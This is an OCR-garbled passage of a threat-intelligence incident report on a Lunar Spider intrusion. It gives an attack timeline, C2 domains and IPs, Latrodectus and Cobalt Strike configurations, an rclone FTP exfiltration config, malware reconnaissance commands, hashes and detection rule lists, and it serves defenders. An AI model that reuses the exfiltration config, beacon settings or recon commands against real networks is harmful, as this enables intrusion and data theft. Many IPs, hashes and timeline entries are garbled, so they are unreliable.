13 -89.699835 45.135.232.3 <FILE SERVER IP> FTP 89 Response: 331 Please, specify the password.
14 -89.698630 <FILE SERVER IP> 45.135.232.3 FTP 73 <REDACTED FTP PASSWORD> Request: PASS <REDACTED FTP PASSWORD:=
15 -89.535476 45.135.232.3 <FILE SERVER IP> FTP 76 Response: 538 Login incorrect.

The FTP traffic shows that the username used was JOeBidenAbrabdylaS3ha2 when it should have been
JOeBidenAbrabdylaS3ha2Yeami which was the username found in the rclone.conf file found on the infected device

(the same password was used in both executions).
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[ftp]

type = ftp

host = 45.135.232.3

user = J0eBidenAbrabdylaS3ha2Yeami

#port = 21
pass = <REDACTED PASSWORD>
#tls = false

Exfiltration activity took place over 9 hours and 46 minutes.

|

Impact

As discussed in the Exfiltration section, on the twentieth day, the threat actor successfully performed data exfiltration.

Despite that, no further final actions on objectives were performed until they were evicted from the network.

Timeline
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From a Single Click:

How Lunar Spider Enabled a Near
Two-Month Intrusion

14:15 UTC Initial Access

User downlosded and exscuted malicious Imaseript file
M5! downloaded and ran to extact Brute Ratel DLL
Run Key added for persistence

L us injectad into.

Bruteratel and Latrodectus C2 begin

20:28 UTC Command & Control —

Latrodectus inttlated connection to Backconnect ]
server (193,168 143.1946:443) via explorerexe process

04:24 UTC Discovery —

Backconnect was used to list folders/files —J

23—

12:04 UTC Privilige Escalation

Runas service was used to login as domain
admin extracted earller from Unattended soml
Injection into several processes

gpupdate.see

spoolsvexe

12:19 UTC Discovery

J

13:22 - 13:30 UTC Discovery

ADFInd executed along with other LOLbin
commands

net and quser commands ran to check remote J
hosts

18:49 UTC Persistence

lsassaexe creates an onstart scheduled task —J

—E&3

——15:10 UTC Discovery

l_ Injected explorer.exe launched multiple
LoiLbin discovery commands

—E0

13:46 UTC Credential Access

l unattendxml answer file centaining domain
sdmin sccount collectad via Backeonnect

11:59 - 12:01 UTC Execution

Cobalt Strike DLL beacon dropped and
executed via Rundlls2

l— C2: 45129199.214:80

Aundll32 Infects Into multiple processes
sihostese

Explorerexe

12:07 UTC Credential Access

L gpupdate.exe |s used to access LSASS process

13:18 - 13:28 UTC Lateral Movement

l PSExec executes system.dl_ Cobalt Strike
beacon on three other deviees from beachhead

! domain controller
file share server
: backup server

18:49 UTC Execution

Isassaexe was downloaded via Backconnect
an the beachhead and executed

L

New Cobalt Strike beacon sys.dil was
downloaded on the beachhead and executed

CZ
cloudmaricom
162.0.20%121

L C2: 200.2067125.20%443

18:52 UTC Privilege Escalation

18:59 UTC Discovery

L sys.dll attempts UAC bypass using ms-sattings
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Invoke-ShareFinder was executed to find _J :
network file shares —19:17 UTC Discovery

19:20 - 19:30 UTC Lateral Movement == L by reatcaspyteu gt i

zero.exe downloaded on the beachhwad and
exgcuted | custom Zerologon iImplementation) —— 19:52 UTC Lateral Movement
targeting second domain controllar

Matasplolt psexec moduls usad to attempt
Lateral movment to second domain controller

20:37 UTC Discovery =

C2 falls to connect to remote server

Second round of Adfind execution —J |
2119698 614444

03:39 UTC Lateral Movement =
ROP login from beachhead to server —J — 0351 UTC Lateral Movement
05:52 UTC Defense Evaslm & L Cobalt Strike executable executed on remote Lenser
Credential Access L
C2: 206.206.123.209:443

Cabalt Strike beacon injected Into runonce
] weinkomem —— 0359 UTC Lateral Movement

Injectied FUNGRCE AEcdtes lanss e

L REF legin from beachhead to file share server

04:03 UTC Command and Control

Caobalt Strike DLL beacon executed on file _J 16:50 UTC Command and Control
R & Persistence

€2 206.206.125.209:443 —J
Hew BruteRatel badger DLL dropped and

expcuted on

Registry Run key updatad for new badger DLL

= 14:02 UTC Command & Control

l— Renamed Relone dropped on the file share server

— 10:48 UTC Exfiltration

Threat actor drops. rclone config file and batch
scripts to executs Rlcons to exfiltrate data from
the file shares

188

13:58 UTC Defense Evasion &
Credential Access

16:07 UTC Credential Access =
Injected spoolsvexe on backup server Injects
Inta gpupdate exe

Vieeam-Gat-Crods ps] axecuted to extract I

Injected ! !
cracantisl from badiap = njected gpupdate exe accesses lsass axe

—EE

09:00 UTC Discovery =—

Threat actor dropped and executed rustscan —J

Diamond Model
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45135.232.3:21 — Exfiltration Server ~

workspacincloud
(1042116155[17267213171:443)

illoskanawer.com (173.255.204.62:443)

grasmetral.com (104.2152.10[17267193.233:443) Latrodectus =
jarkaairbo.com (17267172.1771104 213090:443)
scupolastasstore (172.67174.176[104.218889:443)
Ml Stager 91194.1164:443

193.168.143196:443
]— Backeonnect VNC ~
1859322112443

cloudmericom (162.0.209121443) —— Lsassa Backdoor —— gl CH{(V e (1] (=]

avtechupdate.com (206.206.123209:443)
45129199214:80/8080 } Cobalt Strike —|

3113248 153:8018080
21719698.61:4444 — Metasploit =

anikvancom (95.164.6873:443) —
altynbe.com (138124.183.215:443) ~
boriz400.com (91.194.11183:443) ~

tidiculous-breakpoint-gwaws-uselcloud-
aratykio (multiple ips) 7

uncertain-Kitten-gw.aws-eucl cloud-ara.tykio
(multiple ips) I Brute Ratel —
erbolsancom (94.232249100194.131108.254:443) —|

samderat200.com p
(94.232.249108145.15065.85:443)

dauled.com (195123.225161:443) —

lasymdev.com (195.21198249:443) =

kasymS500.com (195.123225.251:443) —

Indicators

Atomic

RDP Client Name
VPS2DAY-32220LE

Rclone configuration

host: 45.135.232.3

user: J0eBidenAbrabdylaS3ha2Yeami
user: J0eBidenAbrabdyl1aS3ha2

Latrodectus Domains
workspacin[.]cloud
illoskanawer[.]com
grasmetral[.]com
jarkaairbol[.]com
scupolastal.]store

Backconnect IP Addresses
185.93.221.12
193.168.143.196

Lsassa Backdoor Domain
cloudmeri[.]com

Lsassa Backdoor IP Addresses
162.0.209.121

Brute Ratel Domains
anikvan[.]com
altynbe[.]com

Username Hostname

JoeBidenAbrabdylas3ha2Yeami  VPS2DAY-32220LE

/; Z E ij E X §,\ Capabilities/TTPs.

Al Al

Domain Controllers ~ Workstation ~ File Server  Backup Server
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~ Latrodectus

|~ Lsassa Backdoor — lsassaexe

sysdil
|~ Cobalt Strike «E cron801dL
systemdl_

|- Metasploit

wscadminuidil
|- Brute Ratel —E

upfillesdll
[- Rclone — sihostsexe

I~ 7zip

[~ Zerologon exploit — zero.exe
I~ rROP

I PSExec

I~ ADFind

[~ Backconnect

= RustScan
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boriz400[ . Jcom
ridiculous-breakpoint-gw[.]Jaws-use1[.]cloud-ara[.]tyk[.]io
uncertain-kitten-gw[.Jaws-euc1[.]cloud-ara[.]tyk[.]io
erbolsan[.]com

samderat200[.Jcom

dauled[.]Jcom

kasymdev[ .]com

kasym500[ . Jcom

Brute Ratel IP Addresses
95.164.68.73
138.124.183.215
91.194.11.183
94.232.249.100
94.131.108.254
94.232.249.108
45.150.65.85
195.123.225.161
195.211.98.249
195.123.225.251

Metasploit IP Addresses
217.196.98.61

Cobalt Strike Domains

avtechupdate[.]com

Cobalt Strike IP Addresses
206.206.123.209
45.129.199.214
31.13.248.153

Latrodectus Configuration

Config:
{

"Version": "1.3",

"Direction": "4",

"C2s": [
"hxxps://workspacin[.]cloud/1live/",
"hxxps://illoskanawer[.]Jcom/live/"

1

"RC4": "xkxp7pKhnkQxUokR2d100qsRa6Hx0xvQ31]jTD7EwUqj4RXWtHWELbZFb0oqCnX18",

"GroupID": "2221766521",

"CampaignID": "Electrol”

Decrypted Strings:
{

"pid":

"%d",

"proc":
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"o M
%S,

"subproc": [
1
}
&desklinks=[

* *

1
&proclist=[
{

"pid":
"%d",
"proc":

ng, N
%S,

ol
%S

"subproc": [

]

}

/c ipconfig /all
C:\Windows\System32\cmd.exe

/c systeminfo
C:\Windows\System32\cmd.exe

/c nltest /domain_trusts
C:\Windows\System32\cmd.exe

/c nltest /domain_trusts /all_trusts
C:\Windows\System32\cmd.exe

/c net view /all /domain
C:\Windows\System32\cmd.exe

/c net view /all
C:\Windows\System32\cmd.exe

/c net group "Domain Admins" /domain
C:\Windows\System32\cmd.exe
/Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\wbem\wmic.exe

/c net config workstation
C:\Windows\System32\cmd.exe

/c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | f
C:\Windows\System32\cmd.exe

/c whoami /groups
C:\Windows\System32\cmd.exe
&ipconfig=

&systeminfo=

&domain_trusts=

&domain_trusts_all=
&net_view_all_domain=
&net_view_all=

&net_group=

Gwmic=

&net_config_ws=

&net_wmic_av=

&whoami_group=

runnung

front

/files/
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d

%5%s
files/bp.dat
%s\%d.d11
%d.dat

%s\%s

e of

init -zzzz="%s\%s"

Electrol

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Content-Type: application/x-www-form-urlencoded

POST

GET

CLEARURL

URLS

COMMAND

ERROR
xkxp7pKhnkQxUokR2d100gsRabHx@xvQ31jTD7EwUqj4RXWtHWELbZFb0ogCnX18
counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%ludver=%d.%d&up=%d&direction=%s
counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%ludver=%d.%d&up=%d&direction=%s
counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%ludver=%d.%d&up=%d&direction=%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/
https://workspacin.cloud/live/

https://illoskanawer.com/live/

%s%d.d1l

%s%d.exe

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
<html>

<1DOCTYPE

&mac=

%02x

1%02x

&computername=%s

&domain=%s

C:\WINDOWS\SYSTEM32\rund1132.exe %s,%s
C:\WINDOWS\SYSTEM32\rund1132.exe %s

12345

&stiller=

Cobalt Strike Beacon Configuration (system.dl_ | cron801.dl_)

Version: 4.6

Socket: 80

Beacon Type: HTTP

MaxGetSize: 2105681

URL: hxxp://45.129.199[.]1214/vodeo/wgd1ck01

Jitter: 49

Encryption Key: MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGcLYJGIMiEP3Lp+FqQ74n9HNbGI/s4ZE5FgOPHR7voXFnSWg
HttpPostUri: /vodeo/vid_wg@1ck@1

User Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704
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MalleableC2Instructions: Remove 4338 chars from the end, Remove 4183 chars from the begginning, NetBIOS
HTTPGetClient: mask, header Accept: application/xml, text/html, application/xhtml+xml
HTTPPostClient: mask, mask, header Accept: text/html, application/xhtml+xml, application/json
HTTPGet_Verb: GET

HTTPPost_Verb: POST

spawnto_x64: %windir%\sysnative\gpupdate.exe

spawnto_x86: %windir%\syswow64\gpupdate.exe

Proxy_Behavior: Use IE settings

Watermark: 987654321

Jitter: 49

ProcessInject_MinAllocation: 19836

ProcessInject_AllocationMethod: NtMapViewOfSection

Computed

rustscan.exe

9e2a8464110883a15115b68ffalecf7d
5348970723b378c7cae35bb@3d8736f8e5a9f0ac
37471af00673af4080ee21bd248536147e450d2eff45e8701a95d1163a9d62fe

lsassa.exe

50abc42faa’0062e20cd5e2a2e2b6633
97d72c8bbcf367bebbd5e80021e3bd3232ac309a
203eda879dbdb128259cd658b22c9c21cbbchcfale2f39879c73b4dath84c592

run.bat

c8ea31665553chcal9b22863eeabca2c
ba99cd73b74c64d6b1257b7db99814d1dc7d76b1
411dfb067a984a244ff0c41887d4a09fbbcd8d562550f5d32d58a6a6256bd7b2

start.vbs

4bh3e9c9e018659d1cf04daf82abe3bb4
333e1c5967a9a6c881c9573a3222bedbadad11cb
1a8ebf914ebea34402eechf0985f05ae413663708d2fcc842fc27057ac5ecded

sys.dll

ad3c52316e0059c66bc1dd680cfIedad
8dfab3c@bb611e18c8331ed5b89decf433ac394a
100e03eb4e9ddcdabbedbb2b26f800d47a21d338885f5dc1b42c56a32429¢9168

Cobalt Strike

system.dl_ or cron801.d1_

495363b0262b62dfc38d7bfh7b5541aa
2d92890374904b49d3c54314d02b952e1a714e99
77eede38abdc740f000596e374b6842902653aeafh6c63011388ebb22ec13e28

BruteRatel

upfilles.dll

ccbbd3ch020156758622911ddd2f1fcb
43013f752c2bf84ca37e418175e0d9b6f61f636d
f4cbbb684ead97f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de
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BruteRatel

wscadminui.dll

d7bd590b6c660716277383aa23ch@aal
38999890b3a2c743e0abeal122649082a5fa1281
6c3b2490e99cd8397fb79d84a5638c 1adc4edh516a4b0047aa70b5811483db8 f

zero.exe

918896581 1c8e1462f06019b8421109
33a6b39fbe8ec45afab14af88fd6fa8e96885bf1
36bc32becf287402bf0e9c918de22d886a74c501a33aad8dchIbe2f222fabe24

c356468.exe

A2B6479A69B51AE555F695B243E4FDAT
23FFF588E3E5CC6678E1F77FABI318D6OF3AC55F
8FB5034AEDF41F8(C8C4C4022FDDE7DB3C70A5A7C7B5B4DECTF6A57715C18A5BF

Detections

Network

ET MALWARE Windows dir Microsoft Windows DOS prompt command exit OUTBOUND

ET MALWARE Windows Microsoft Windows DOS prompt command Error not recognized

ET POLICY Observed MSI Download

ThreatFox IcedID botnet C2 traffic (ip:port - confidence level: 60%)

ThreatFox Unidentified 111 (Latrodectus) botnet (2 traffic (ip:port - confidence level: 75%)
ThreatFox botnet C2 traffic (domain - confidence level: 100%)

ET HUNTING ZIP file exfiltration over raw TCP

ET DROP Spamhaus DROP Listed Traffic Inbound group 5

ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check

Sigma
Search rules on detection.fyi or sigmasearchengine.com

DFIR Private Rules:

67eb826d-7745-416c-9674-525ef@dc7610 : Launching VNC Interactive Session
€652d235-b994-432e-b2f3-15a9cee381df : Domain Enumeration Using Netdom Query
f8a8998f-dfe9-4942-812c-f4e591653ced : MS-Settings Shell Command Hijacking
1f959fda-4c54-4dad-9bca-4a5a65529772 : MSI Payload Executing Suspicious DLL Through Rund1132
a566b9e8-0a5c-4128-b499-c7632915d5e2 : Suspicious Type Command Over Administrative Share
c42e8603-0311-4e4e-8923-4c1e8be9d78d : Suspicious Computer Machine Password Reset
1b8adbal-35c3-4400-9678-e7d3e3bbacfd : DNS data export using dnscmd.exe
b326e9ad-0d9b-43bf-8bd@-9620839c6fbb : Veeam Backup Credential Theft Detection

Sigma Repo:

d522eca2-2973-4391-a3e0-ef0374321dae : Abused Debug Privilege by Arbitrary Parent Processes
d5601f8c-b26f-4ab@-9035-69e11a8d4ad2 : CobaltStrike Named Pipe
85adeb13-4fc9-4e68-8ad4a-c7cb2c336eb7 : CobaltStrike Named Pipe Patterns
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7b434893-c57d-4f41-908d-6a17bf1ae98f : Network Connection Initiated From Process Located In Potentially
08249dc0-a28d-4555-8ba5-9255a198e08¢c : Outbound Network Connection Initiated By Script Interpreter
ed74fe75-7594-4b4b-ae38-e38e3fd2eb23 : Outbound RDP Connections Over Non-Standard Tools
85b0b087-eddf-4a2b-b033-d771fa2b9775 : PowerShell Download and Execution Cradles
3dfd06d2-eaf4-4532-9555-68acab9f57c4 : Process Execution From A Potentially Suspicious Folder
8834e2f7-6b4b-4109-8906-d2276470ee23 : PsExec/PAExec Escalation to LOCAL SYSTEM
9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution
df55196f-f105-44d3-a675-e9dfbbcc2f2b : Renamed AdFind Execution

5bb68627-3198-40ca-b458-49f973db8752 : Rundl132 Execution Without Parameters
152f3630-77c1-4284-bcc@-4cc68ab2f6e7 : Shell Open Registry Keys Manipulation
3bbab547-8ec2-4991-b9d2-2b06702a48d7 : Suspicious PowerShell Download and Execute Pattern
3c89a1e8-0fba-449e-8f1b-8409d6267ec8 : Suspicious Process Created Via Wmic.EXE
5cc2cda8-1261-4d88-a2de-e9e193¢86716 : Suspicious Processes Spawned by WinRM
dcdbc940-0bff-46b2-95f3-2d73f848e33b : Suspicious Spool Service Child Process
2617e7ed-adb7-40ba-b0f3-8f9945fe6c@9 : Suspicious SYSTEM User Process Creation
12771594-a7d1-4f28-a2d3-73af5cbeab43 : Windows Shell/Scripting Application File Write to Suspicious Fol

Yara

New Rules:

Source: https://thedfirreport.com/2025/09/29/from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/
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